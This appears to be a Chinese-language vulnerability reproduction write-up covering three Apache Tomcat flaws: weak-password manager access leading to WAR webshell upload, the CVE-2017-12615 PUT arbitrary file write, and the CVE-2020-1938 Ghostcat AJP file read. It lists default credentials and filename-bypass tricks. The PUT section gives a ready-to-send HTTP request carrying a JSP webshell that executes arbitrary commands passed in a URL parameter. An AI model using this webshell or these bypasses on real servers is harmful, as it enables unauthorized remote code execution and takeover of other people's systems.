文章目录
- Tomcat7+弱密码&后台Getshell漏洞
- 0x00 漏洞描述
- 0x01 漏洞复现
- Tomcat PUT方法任意写文件(CVE-2017-12615)
- 0x00 漏洞描述
- 0x01 影响版本
- 0x02 漏洞分析
- 0x03 漏洞复现
- Aapache Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)
- 0x00 漏洞描述
- 0x01 影响版本
- 0x02 漏洞分析
- 0x03 漏洞复现
Tomcat7+弱密码&后台Getshell漏洞
0x00 漏洞描述
Tomcat 支持通过后端部署war 文件,所以我们可以直接将 webshell 放到 web 目录中。为了访问后端,需要权限。
Tomcat7+的权限如下:
- manager(后台管理)
- manager-gui(html页面权限)
- manager-status(查看状态的权限)
- manager-script(文本界面权限和状态权限)
- manager-jmx(jmx 权限和状态权限)
host-manager(虚拟主机管理)
- admin-gui(html页面权限)
- admin-script(文本界面权限)
正常安装 Tomcat8 默认没有用户,管理页面只允许本地IP访问。只有管理员手动修改了conf/tomcat-users.xml
文件中的用户权限属性,我们才能进行攻击。
0x01 漏洞复现
打开 tomcat 管理页面 http://your-ip:8080/manager/html
,输入弱密码tomcat:tomcat
,然后访问后台:
在WAR file to deploy
功能处可直接上传war包gatshell:
访问验证:
Tomcat PUT方法任意写文件(CVE-2017-12615)
0x00 漏洞描述
当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
0x01 影响版本
Apache Tomcat 7.0.0 - 7.0.79
0x02 漏洞分析
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如/在Linux下使用)
目前主要三种方法:
- evil.jsp%20
- evil.jsp::$DATA
- evil.jsp/
源码分析:https://paper.seebug.org/399/#32
0x03 漏洞复现
直接发送以下数据包,shell就会写入Web根目录:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 372
<%
if("8".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
访问验证:
Aapache Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)
0x00 漏洞描述
由于 Tomcat AJP 协议中的一个缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。例如,攻击者可以读取 webapp 配置文件或源代码。此外,如果目标Web应用程序具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码。
0x01 影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
0x02 漏洞分析
Tomcat 服务器对外监听两个端口用于与客户端进行正常的访问通信,分别监听8080端口与8009端口,其中8080端口为正常进行HTTP协议通信的端口,8009端口则是使用AJP协议进行通信,使用二进制格式来传输可读性文本,能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。
大部分情况下用户通过HTTP访问Tomcat服务器的时候数据流向是走的HTTP Connector。
但是若需要跟其他服务器有通讯,则其他服务器可以通过Ajp Connector 跟Tomcat进行通讯,可以简单理解为Ajp Connector是一个中间层,由它再将数据转为http给Tomcat服务器。
当我们是用ajp协议请求tomcat服务器时,将转向ajp connector。
我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet
(DefaultServlet),另一个走jsp servlet
(JspServlet),可导致的不同的漏洞。
文件读取漏洞走的是DefaultServlet
,文件包含漏洞走的是JspServlet
。
由于请求路径中不能包含/../
,也就导致了该漏洞只能读取webapps目录下的文件。
源码分析:https://xz.aliyun.com/t/7683
0x03 漏洞复现
环境搭建完成后,探测端口会发现有一个AJP端口8009正在监听:
用exp来复现,项目地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
参考链接:
https://paper.seebug.org/399/#32(CVE-2017-12615)
https://xz.aliyun.com/t/7683(CVE-2020-1938)